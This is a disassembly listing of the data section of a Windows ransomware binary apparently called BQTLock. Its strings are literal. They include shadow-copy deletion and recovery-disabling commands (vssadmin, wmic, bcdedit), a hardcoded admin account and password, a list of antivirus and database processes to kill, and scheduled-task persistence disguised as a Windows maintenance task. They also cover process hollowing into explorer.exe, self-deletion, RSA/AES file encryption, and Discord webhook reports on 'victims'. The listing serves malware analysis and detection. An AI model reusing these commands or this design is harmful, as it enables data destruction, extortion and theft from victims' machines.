140106220
140106220 10 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ................
140106230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
140106240 b0 72 02 40 01 00 00 00 00 00 00 00 00 00 00 00 .r.@............
140107000
140107000 ; .rdata
140107000
140107000 string "Cannot convert character sequence",0 ← 0x1400ab1f8
140107022
140107022 string "_M_path != nullptr",0 ← 0x140030483 0x1400a73e3
140107035
140107035 00 00 00 ...
140107038
140107038 string "std::filesystem::__cxx11::path::iterator& std::filesystem::__cxx11::path::iterator::operator--()",0 ← 0x1400a73ea 0x1400a744f 0x1400a749f
140107099
140107099 00 00 00 00 00 00 00 .......
1401070a0
1401070a0 string "C:/msys64/mingw64/include/c++/15.1.0/bits/fs_path.h",0 ← 0x140030491 0x1400304f6 0x1400a73f1 0x1400a7456 0x1400a74a6
1401070d4
1401070d4 00 00 00 00 ....
1401070d8
1401070d8 string "_M_cur != _M_path->_M_cmpts.begin()",0 ← 0x1400a7448
1401070fc
1401070fc string "_M_at_end",0 ← 0x1400a7498
140107106
140107106 00 00 ..
140107108
140107108 string "const std::filesystem::__cxx11::path& std::filesystem::__cxx11::path::iterator::operator*() const",0 ← 0x14003048a 0x1400304ef
14010716a
14010716a 00 00 00 00 00 00 ......
140107170
140107170 string "_M_cur != _M_path->_M_cmpts.end()",0 ← 0x1400304e8
140107192
140107192 00 00 00 00 80 3e 01 00 00 00 00 00 00 00 .....>........
1401071a0 00 00 20 03 00 00 00 00 01 01 01 01 01 01 01 00 .. .............
1401071b0 01 01 00 ...
1401071b3
1401071b3 string "C:\\Windows\\Temp\\bqt_log.txt",0 ← 0x14000172a
1401071cf
1401071cf uint8_t g_1401071cf ← log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1401071cf 5b [
1401071d0 00 .
1401071d1
1401071d1 uint8_t g_1401071d1 ← log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1401071d1 5d 20 00 ] .
1401071d4
1401071d4 string "http://icanhazip.com",0 ← 0x140001869
1401071e9
1401071e9 string "INFO",0 ← 0x140001963 0x1400033ec 0x140004a2d 0x14000567b 0x140005e8d 0x14000849d 0x140008563 0x1400086a6 0x140008a2f 0x140008e02 0x140009015 0x14000924e 0x1400093fa 0x1400095f6 0x1400099ac 0x14000a73d 0x14000a808 0x14000a916 0x14000b29a 0x14000b409 0x14000b4f2 0x14000b609 0x14000b715 0x14000b905 0x14000bc83
1401071ee
1401071ee string "Public IP obtained: ",0 ← 0x140001981
140107203
140107203 string "ERROR",0 ← 0x1400019f1 0x140002078 0x140002179 0x140002315 0x140002447 0x140003802 0x140003af0 0x140003bac 0x140003c6a 0x140003ee4 0x1400042ca 0x140004386 0x140004476 0x140004552 0x140004735 0x140004ee4 0x140005180 0x1400064b4 0x1400065a4 0x140006d55 0x140006e99 0x1400075c5 0x140007707 0x140007e46 0x140007f93 0x14000819e 0x1400082e0 0x1400088bd 0x140009ac2 0x140009c4e 0x140009fb9 0x14000a071 0x14000a129 0x14000a1e1 0x14000a2c0
140107209
140107209 string "Failed to get public IP: ",0 ← 0x140001a49
140107223
140107223 string "N/A",0 ← 0x140001ad6 0x140001c1b 0x140001c6b 0x140001d06 0x140001f53 0x14000321d
140107227
140107227 string "Windows ",0 ← 0x140001e0c
140107230
140107230 uint8_t g_140107230 ← get_os_version[abi:cxx11]() create_ransom_note_in_dir(std::filesystem::__cxx11::path const&) traverse_and_collect(std::filesystem::__cxx11::path const&)
140107230 2e 00 ..
140107232
140107232 string " Build ",0 ← 0x140001e58
14010723a
14010723a string "Unknown OS",0 ← 0x140001eb0
140107245
140107245 00 00 00 ...
140107248
140107248 string "Failed to initialize COM for HWID: ",0 ← 0x1400020b4
14010726c
14010726c 00 00 00 00 ....
140107270
140107270 string "Failed to create WbemLocator for HWID: ",0 ← 0x1400021b5
140107298
140107298 wstring "ROOT\\CIMV2",0 ← 0x140002228
1401072ae
1401072ae 00 00 ..
1401072b0
1401072b0 string "Failed to connect to WMI for HWID: ",0 ← 0x140002351
1401072d4
1401072d4 00 00 00 00 ....
1401072d8
1401072d8 string "Failed to set proxy blanket for HWID: ",0 ← 0x140002483
1401072ff
1401072ff 00 .
140107300
140107300 wstring "SELECT SerialNumber FROM Win32_BaseBoard",0 ← 0x140002524
140107352
140107352 wstring "WQL",0 ← 0x140002552 0x140002839 0x140002b20
14010735a
14010735a wstring "SerialNumber",0 ← 0x14000261c 0x140002903 0x140002bb6
140107374
140107374 uint8_t g_140107374 ← get_hwid[abi:cxx11]()
140107374 2d 00 00 00 -...
140107378
140107378 wstring "SELECT SerialNumber FROM Win32_BIOS",0 ← 0x14000280b
1401073c0
1401073c0 wstring "SELECT SerialNumber FROM Win32_PhysicalMedia",0 ← 0x140002af2
14010741a
14010741a string "DISK",0 ← 0x140002c12
14010741f
14010741f string "-DISK",0 ← 0x140002d7b
140107425
140107425 string "UNKNOWN",0 ← 0x140002eac
14010742d
14010742d string ": [Total: ",0 ← 0x140003170
140107438
140107438 string " GB, Free: ",0 ← 0x140003195
140107444
140107444 string " GB] ",0 ← 0x1400031ba
14010744a
14010744a 00 00 00 00 00 00 ......
140107450
140107450 string "Attempting to take screenshot.",0 ← 0x140003419
14010746f
14010746f 00 .
140107470
140107470 wstring "image/png",0 ← 0x1400035fa
140107484
140107484 00 00 00 00 ....
140107488
140107488 string "C:\\Windows\\Temp\\bqt_screenshot.png",0 ← 0x140003620
1401074ab
1401074ab string "SUCCESS",0 ← 0x140003759 0x140003fd8 0x140004c83 0x140004da6 0x140006fab 0x140009737 0x140009f01
1401074b3
1401074b3 string "Screenshot saved to: ",0 ← 0x14000377d
1401074c9
1401074c9 00 00 00 00 00 00 00 .......
1401074d0
1401074d0 string "Failed to save screenshot. GDI+ Status: ",0 ← 0x14000383e
1401074f9
1401074f9 uint8_t g_1401074f9 ← take_screenshot_to_file[abi:cxx11]() change_file_icons(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) __static_initialization_and_destruction_0()
1401074f9 00 00 00 00 00 00 00 .......
140107500
140107500 string "Webhook URL or file path is empty for upload, cannot send.",0 ← 0x140003b17
14010753b
14010753b 00 00 00 00 00 .....
140107540
140107540 string "Failed to decode webhook URL from Base64 for file upload. Cannot send.",0 ← 0x140003bd3
140107587
140107587 00 .
140107588
140107588 string "Failed to initialize CURL for file upload. Cannot send.",0 ← 0x140003c9a
1401075c0
1401075c0 string "payload_json",0 ← 0x140003d5b
1401075cd
1401075cd 00 00 00 ...
1401075d0
1401075d0 string "{ \"content\": \"Screenshot from victim machine.\" }",0 ← 0x140003d75
140107601
140107601 00 00 00 00 00 00 00 .......
140107608
140107608 string "File upload to webhook failed: ",0 ← 0x140003f48
140107628
140107628 string "File uploaded to webhook successfully: ",0 ← 0x140003fff
140107650
140107650 string "Webhook URL (Base64) is empty, cannot send.",0 ← 0x1400042f1
14010767c
14010767c 00 00 00 00 ....
140107680
140107680 string "Failed to decode webhook URL from Base64. Cannot send.",0 ← 0x1400043ad
1401076b7
1401076b7 string "https://",0 ← 0x14000440f
1401076c0
1401076c0 string "http://",0 ← 0x14000442d
1401076c8
1401076c8 string "Invalid webhook URL format after decoding (must start with http:// or https://). Cannot send.",0 ← 0x1400044a6
140107726
140107726 00 00 ..
140107728
140107728 string "Failed to initialize CURL for webhook. Cannot send.",0 ← 0x140004582
14010775c
14010775c 00 00 00 00 ....
140107760
140107760 string "Content-Type: application/json",0 ← 0x140004604
14010777f
14010777f string "Webhook failed: ",0 ← 0x140004799
140107790
140107790 string "Attempting to create new admin user.",0 ← 0x140004a5d
1401077b5
1401077b5 string "BQTLockAdmin",0 ← 0x140004ae1
1401077c2
1401077c2 string "Password123!",0 ← 0x140004b1e
1401077cf
1401077cf string "User '",0 ← 0x140004ca7 0x140004dca 0x1400050c2
1401077d6
1401077d6 string "' created successfully.",0 ← 0x140004cc0
1401077ee
1401077ee wstring "Administrators",0 ← 0x140004d57
14010780c
14010780c 00 00 00 00 ....
140107810
140107810 string "' added to Administrators group.",0 ← 0x140004de3
140107831
140107831 string "New Admin User Created: ",0 ← 0x140004e5a
14010784a
14010784a string " / ",0 ← 0x140004e73 0x14000501d
14010784e
14010784e string "Failed to add user '",0 ← 0x140004f1d
140107863
140107863 00 00 00 00 00 .....
140107868
140107868 string "' to Administrators group. Error: ",0 ← 0x140004f36
14010788b
14010788b 00 00 00 00 00 .....
140107890
140107890 string "Failed to create admin user (user created but not elevated): ",0 ← 0x140005004
1401078ce
1401078ce string "WARNING",0 ← 0x14000509e 0x140005db4 0x140008b17 0x1400097da 0x14000af2c 0x14000b193
1401078d6
1401078d6 00 00 ..
1401078d8
1401078d8 string "' already exists. Skipping creation.",0 ← 0x1400050db
1401078fd
1401078fd string "User Already Exists: ",0 ← 0x140005152
140107913
140107913 string "Failed to create user '",0 ← 0x1400051b9
14010792b
14010792b string "'. Error: ",0 ← 0x1400051d2
140107936
140107936 string "Failed to create new user.",0 ← 0x140005293
140107951
140107951 00 00 00 00 00 00 00 .......
140107958
140107958 string "Attempting to collect saved passwords (placeholder functionality).",0 ← 0x1400056ab
14010799b
14010799b 00 00 00 00 00 .....
1401079a0
1401079a0 string "No specific passwords collected by this module (requires advanced browser/OS interaction).\n",0 ← 0x14000572f
1401079fc
1401079fc 00 00 00 00 ....
140107a00
140107a00 string "However, system reconnaissance continues.",0 ← 0x140005758
140107a2a
140107a2a 00 00 00 00 00 00 ......
140107a30
140107a30 string "Software\\SomeLegacyApp\\Credentials",0 ← 0x140005775
140107a53
140107a53 string "Password",0 ← 0x1400057bb
140107a5c
140107a5c string "\nLegacyApp Password: ",0 ← 0x140005834
140107a72
140107a72 00 00 00 00 00 00 ......
140107a78
140107a78 string "C:\\Windows\\Temp\\bqt_wallpaper.bmp",0 ← 0x1400059fb
140107a9a
140107a9a string "C:\\Windows\\Temp\\bqt_icon.ico",0 ← 0x140005bb3
140107ab7
140107ab7 string "\\DefaultIcon",0 ← 0x140005c9e
140107ac4
140107ac4 00 00 00 00 ....
140107ac8
140107ac8 string "Failed to open/create registry key for icon change: ",0 ← 0x140005dd8
140107afd
140107afd 00 00 00 ...
140107b00
140107b00 string "Attempted to change icons for common file extensions.",0 ← 0x140005ebd
140107b36
140107b36 string ".txt",0
140107b3b
140107b3b string ".doc",0
140107b40
140107b40 string ".docx",0
140107b46
140107b46 string ".pdf",0
140107b4b
140107b4b string ".xls",0
140107b50
140107b50 string ".xlsx",0
140107b56
140107b56 string ".ppt",0
140107b5b
140107b5b string ".pptx",0
140107b61
140107b61 string ".jpg",0
140107b66
140107b66 string ".jpeg",0
140107b6c
140107b6c string ".png",0
140107b71
140107b71 string ".gif",0
140107b76
140107b76 string ".bmp",0
140107b7b
140107b7b string ".tif",0
140107b80
140107b80 string ".tiff",0
140107b86
140107b86 string ".mp3",0
140107b8b
140107b8b string ".wav",0
140107b90
140107b90 string ".flac",0
140107b96
140107b96 string ".aac",0
140107b9b
140107b9b string ".ogg",0
140107ba0
140107ba0 string ".mp4",0
140107ba5
140107ba5 string ".avi",0
140107baa
140107baa string ".mov",0
140107baf
140107baf string ".wmv",0
140107bb4
140107bb4 string ".flv",0
140107bb9
140107bb9 string ".zip",0
140107bbe
140107bbe string ".rar",0
140107bc3
140107bc3 string ".7z",0
140107bc7
140107bc7 string ".tar",0
140107bcc
140107bcc string ".gz",0
140107bd0
140107bd0 string ".exe",0
140107bd5
140107bd5 string ".dll",0
140107bda
140107bda string ".sys",0
140107bdf
140107bdf string ".lnk",0
140107be4
140107be4 uint8_t g_140107be4 ← create_ransom_note_in_dir(std::filesystem::__cxx11::path const&)
140107be4 5f 00 00 00 _...
140107be8
140107be8 string "Failed to open file for encryption (read): ",0 ← 0x1400064f1
140107c14
140107c14 00 00 00 00 ....
140107c18
140107c18 string "Failed to open file for encryption (write): ",0 ← 0x1400065de
140107c45
140107c45 string "FATAL",0 ← 0x1400066c1 0x14000679b 0x140006889 0x140006993 0x140006adb 0x140006bd9 0x14000b9dc
140107c4b
140107c4b string "Failed to create RSA context.",0 ← 0x1400066f1
140107c69
140107c69 string "Failed to init RSA encrypt.",0 ← 0x1400067cb
140107c85
140107c85 string "Failed to set RSA padding.",0 ← 0x1400068b9
140107ca0
140107ca0 string "Failed to encrypt AES key with RSA.",0 ← 0x1400069c3
140107cc4
140107cc4 string "Failed to create AES context.",0 ← 0x140006b0b
140107ce2
140107ce2 string "Failed to init AES encrypt.",0 ← 0x140006c09
140107cfe
140107cfe 00 00 ..
140107d00
140107d00 string "Failed AES encrypt update for: ",0 ← 0x140006d92
140107d20
140107d20 string "Failed AES encrypt final for: ",0 ← 0x140006ed6
140107d3f
140107d3f string "Encrypted: ",0 ← 0x140006fe8
140107d4b
140107d4b string "Filesystem error encrypting ",0 ← 0x140007622
140107d68
140107d68 uint8_t g_140107d68 ← encrypt_file(std::filesystem::__cxx11::path const&, evp_pkey_st*) traverse_and_collect(std::filesystem::__cxx11::path const&)
140107d68 3a 20 00 : .
140107d6b
140107d6b string "Unknown error encrypting: ",0 ← 0x140007744
140107d86
140107d86 uint8_t g_140107d86 ← traverse_and_collect(std::filesystem::__cxx11::path const&)
140107d86 2e 2e 00 ...
140107d89
140107d89 string "Windows",0 ← 0x140007b16
140107d91
140107d91 string "Program Files",0 ← 0x140007b39
140107d9f
140107d9f string "Program Files (x86)",0 ← 0x140007b5c
140107db3
140107db3 string "$Recycle.Bin",0 ← 0x140007b7b
140107dc0
140107dc0 string "AppData",0 ← 0x140007b9a
140107dc8
140107dc8 string "ProgramData",0 ← 0x140007bb9
140107dd4
140107dd4 00 00 00 00 ....
140107dd8
140107dd8 string "Filesystem error during traversal for ",0 ← 0x140007eae
140107dff
140107dff 00 .
140107e00
140107e00 string "Unknown error during traversal for: ",0 ← 0x140007fdb
140107e25
140107e25 string "Filesystem error traversing ",0 ← 0x1400081fb
140107e42
140107e42 string "Unknown error traversing: ",0 ← 0x14000831d
140107e5d
140107e5d 00 00 00 ...
140107e60
140107e60 string "Attempting to destroy shadow copies and recovery options.",0 ← 0x1400084c1
140107e9a
140107e9a 00 00 00 00 00 00 ......
140107ea0
140107ea0 string "vssadmin.exe delete shadows /all /quiet > NUL 2>&1",0 ← 0x140008519
140107ed3
140107ed3 00 00 00 00 00 .....
140107ed8
140107ed8 string "wmic.exe shadowcopy delete > NUL 2>&1",0 ← 0x140008528
140107efe
140107efe 00 00 ..
140107f00
140107f00 string "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures > NUL 2>&1",0 ← 0x140008537
140107f49
140107f49 00 00 00 00 00 00 00 .......
140107f50
140107f50 string "bcdedit.exe /set {default} recoveryenabled no > NUL 2>&1",0 ← 0x140008546
140107f89
140107f89 00 00 00 00 00 00 00 .......
140107f90
140107f90 string "Backup destruction commands executed.",0 ← 0x140008586
140107fb6
140107fb6 00 00 ..
140107fb8
140107fb8 string "Attempting to kill security and common applications processes.",0 ← 0x1400086d6
140107ff7
140107ff7 string "msmpeng.exe",0 ← 0x140008743
140108003
140108003 string "avastsvc.exe",0 ← 0x140008751
140108010
140108010 string "avgsvc.exe",0 ← 0x14000875f
14010801b
14010801b string "mbamservice.exe",0 ← 0x14000876d
14010802b
14010802b string "nortonsecurity.exe",0 ← 0x14000877b
14010803e
14010803e string "defender.exe",0 ← 0x140008789
14010804b
14010804b string "kaspersky.exe",0 ← 0x140008797
140108059
140108059 string "sqlservr.exe",0 ← 0x1400087a5
140108066
140108066 string "mysqld.exe",0 ← 0x1400087b3
140108071
140108071 string "postgres.exe",0 ← 0x1400087c1
14010807e
14010807e string "outlook.exe",0 ← 0x1400087cf
14010808a
14010808a string "winword.exe",0 ← 0x1400087dd
140108096
140108096 string "excel.exe",0 ← 0x1400087eb
1401080a0
1401080a0 string "powerpnt.exe",0 ← 0x1400087f9
1401080ad
1401080ad string "taskmgr.exe",0 ← 0x140008807
1401080b9
1401080b9 string "procexp.exe",0 ← 0x140008815
1401080c5
1401080c5 string "regedit.exe",0 ← 0x140008823
1401080d1
1401080d1 string "powershell.exe",0 ← 0x140008831
1401080e0
1401080e0 string "cmd.exe",0 ← 0x14000883f 0x1400093ad
1401080e8
1401080e8 string "chrome.exe",0 ← 0x14000884d
1401080f3
1401080f3 string "firefox.exe",0 ← 0x14000885b
1401080ff
1401080ff string "msedge.exe",0 ← 0x140008869
14010810a
14010810a 00 00 00 00 00 00 ......
140108110
140108110 string "Failed to create process snapshot for killing processes.",0 ← 0x1400088ed
140108149
140108149 string "Killed process: ",0 ← 0x140008a87
14010815a
14010815a string "Failed to kill process: ",0 ← 0x140008b6f
140108173
140108173 00 00 00 00 00 .....
140108178
140108178 string "Attempting to establish persistence via scheduled task.",0 ← 0x140008e32
1401081b0
1401081b0 string "Microsoft\\Windows\\Maintenance\\SystemHealthCheck",0 ← 0x140008ed1
1401081e0
1401081e0 string "schtasks /create /tn \"",0 ← 0x140008f2f
1401081f7
1401081f7 string "\" /tr \"",0 ← 0x140008f48
1401081ff
1401081ff 00 .
140108200
140108200 string "\" /sc onlogon /rl HIGHEST /f > NUL 2>&1",0 ← 0x140008f85
140108228
140108228 string "Scheduled task persistence command executed.",0 ← 0x140009045
140108255
140108255 string "Attempting self-deletion.",0 ← 0x14000927e
14010826f
14010826f 00 .
140108270
140108270 string "cmd.exe /C timeout /t 3 /nobreak > NUL & del /f /q \"",0 ← 0x140009341
1401082a5
1401082a5 string "\" & exit",0 ← 0x140009357
1401082ae
1401082ae string "open",0 ← 0x1400093b4
1401082b3
1401082b3 00 00 00 00 00 .....
1401082b8
1401082b8 string "Self-deletion command executed.",0 ← 0x14000942a
1401082d8
1401082d8 string "Attempting privilege escalation.",0 ← 0x14000961d
1401082f9
1401082f9 string "SeDebugPrivilege",0 ← 0x1400096a7
14010830a
14010830a string "SeDebugPrivilege enabled.",0 ← 0x140009764
140108324
140108324 00 00 00 00 ....
140108328
140108328 string "Failed to enable SeDebugPrivilege.",0 ← 0x14000980a
14010834b
14010834b 00 00 00 00 00 .....
140108350
140108350 string "Attempting process hollowing into explorer.exe.",0 ← 0x1400099dc
140108380
140108380 string "Failed to open self executable for hollowing.",0 ← 0x140009af2
1401083ae
1401083ae 00 00 ..
1401083b0
1401083b0 string "Failed to read self executable for hollowing.",0 ← 0x140009c7e
1401083de
1401083de 00 00 ..
1401083e0
1401083e0 string "Process hollowing successful into explorer.exe.",0 ← 0x140009f31
140108410
140108410 string "Failed to set thread context for hollowing.",0 ← 0x140009fe9
14010843c
14010843c 00 00 00 00 ....
140108440
140108440 string "Failed to write process memory for hollowing.",0 ← 0x14000a0a1
14010846e
14010846e 00 00 ..
140108470
140108470 string "Failed to allocate remote memory for hollowing.",0 ← 0x14000a159
1401084a0
1401084a0 string "Failed to get thread context for hollowing.",0 ← 0x14000a211
1401084cc
1401084cc 00 00 00 00 ....
1401084d0
1401084d0 string "Failed to create suspended explorer.exe process.",0 ← 0x14000a2f0
140108501
140108501 00 00 00 00 00 00 00 .......
140108508
140108508 string "Anti-debug triggered. Exiting.",0 ← 0x14000a76d
140108527
140108527 string "Anti-VM triggered. Exiting.",0 ← 0x14000a838
140108543
140108543 00 00 00 00 00 .....
140108548
140108548 string "Global\\{00A0B0C0-D0E0-F000-1000-200030004000}",0 ← 0x14000a8af
140108576
140108576 00 00 ..
140108578
140108578 string "Mutex already exists. Instance already running. Exiting.",0 ← 0x14000a946
1401085b1
1401085b1 string "USERNAME",0 ← 0x14000aa45
1401085ba
1401085ba 00 00 00 00 00 00 ......
1401085c0
1401085c0 string "{ \"username\": \"BQTLock Report\", \"embeds\": [{ \"title\": \"New Target Acquired!\", \"description\": \"A new system has been compromised and encryption has started.\", \"color\": 16711680, \"fields\": [ { \"name\": \"Victim User\", \"value\": \"",0 ← 0x14000ab18
1401086a1
1401086a1 00 00 00 00 00 00 00 .......
1401086a8
1401086a8 string "\", \"inline\": true}, { \"name\": \"Victim Machine\", \"value\": \"",0 ← 0x14000ab31 0x14000baf1
1401086e3
1401086e3 00 00 00 00 00 .....
1401086e8
1401086e8 string "\", \"inline\": true}, { \"name\": \"Local IP\", \"value\": \"",0 ← 0x14000ab71
14010871d
14010871d 00 00 00 ...
140108720
140108720 string "\", \"inline\": true}, { \"name\": \"Public IP\", \"value\": \"",0 ← 0x14000abb1
140108756
140108756 00 00 ..
140108758
140108758 string "\", \"inline\": true}, { \"name\": \"OS Version\", \"value\": \"",0 ← 0x14000abf1
14010878f
14010878f 00 .
140108790
140108790 string "\", \"inline\": false}, { \"name\": \"Hardware ID\", \"value\": \"",0 ← 0x14000ac31
1401087c9
1401087c9 00 00 00 00 00 00 00 .......
1401087d0
1401087d0 string "\", \"inline\": false}, { \"name\": \"Disk Space\", \"value\": \"",0 ← 0x14000ac71
140108808
140108808 string "\", \"inline\": false}, { \"name\": \"New Admin User\", \"value\": \"",0 ← 0x14000acb1
140108844
140108844 00 00 00 00 ....
140108848
140108848 string "\", \"inline\": false}, { \"name\": \"Status\", \"value\": \"Encryption Initialized\", \"inline\": false} ] }] }",0 ← 0x14000acf1
1401088ac
1401088ac string "file",0 ← 0x14000ae60
1401088b1
1401088b1 string "image/png",0 ← 0x14000ae90
1401088bb
1401088bb 00 00 00 00 00 .....
1401088c0
1401088c0 string "Screenshot failed, not sending to webhook.",0 ← 0x14000af5c
1401088eb
1401088eb string "C:\\Windows\\Temp\\passwords.txt",0 ← 0x14000afef
140108909
140108909 string "passwords_file",0 ← 0x14000b0c7
140108918
140108918 string "text/plain",0 ← 0x14000b0f7
140108923
140108923 00 00 00 00 00 .....
140108928
140108928 string "Passwords file not created, not sending to webhook.",0 ← 0x14000b1c3
14010895c
14010895c 00 00 00 00 ....
140108960
140108960 string "Initial C2/Discord full report sent with enriched data and screenshot attempt.",0 ← 0x14000b2ca
1401089af
1401089af 00 .
1401089b0
1401089b0 string "RSA Public Key loaded. Starting file traversal.",0 ← 0x14000b439
1401089e0
1401089e0 string "Traversing user profile: ",0 ← 0x14000b546
1401089fa
1401089fa string "Traversing C:\\ drive.",0 ← 0x14000b639
140108a10
140108a10 string "C:\\",0 ← 0x14000b6a6
140108a14
140108a14 string "Starting encryption with ",0 ← 0x14000b751
140108a2e
140108a2e string " threads.",0 ← 0x14000b76a
140108a38
140108a38 string "All encryption threads finished.",0 ← 0x14000b935
140108a59
140108a59 00 00 00 00 00 00 00 .......
140108a60
140108a60 string "Failed to load RSA Public Key. Encryption skipped.",0 ← 0x14000ba0c
140108a93
140108a93 00 00 00 00 00 .....
140108a98
140108a98 string "{ \"username\": \"BQTLock Report\", \"embeds\": [{ \"title\": \"Encryption Complete!\", \"description\": \"All targeted files have been encrypted.\", \"color\": 65280, \"fields\": [ { \"name\": \"Victim User\", \"value\": \"",0 ← 0x14000bad8
140108b60
140108b60 string "\", \"inline\": true}, { \"name\": \"Files Encrypted\", \"value\": \"",0 ← 0x14000bb31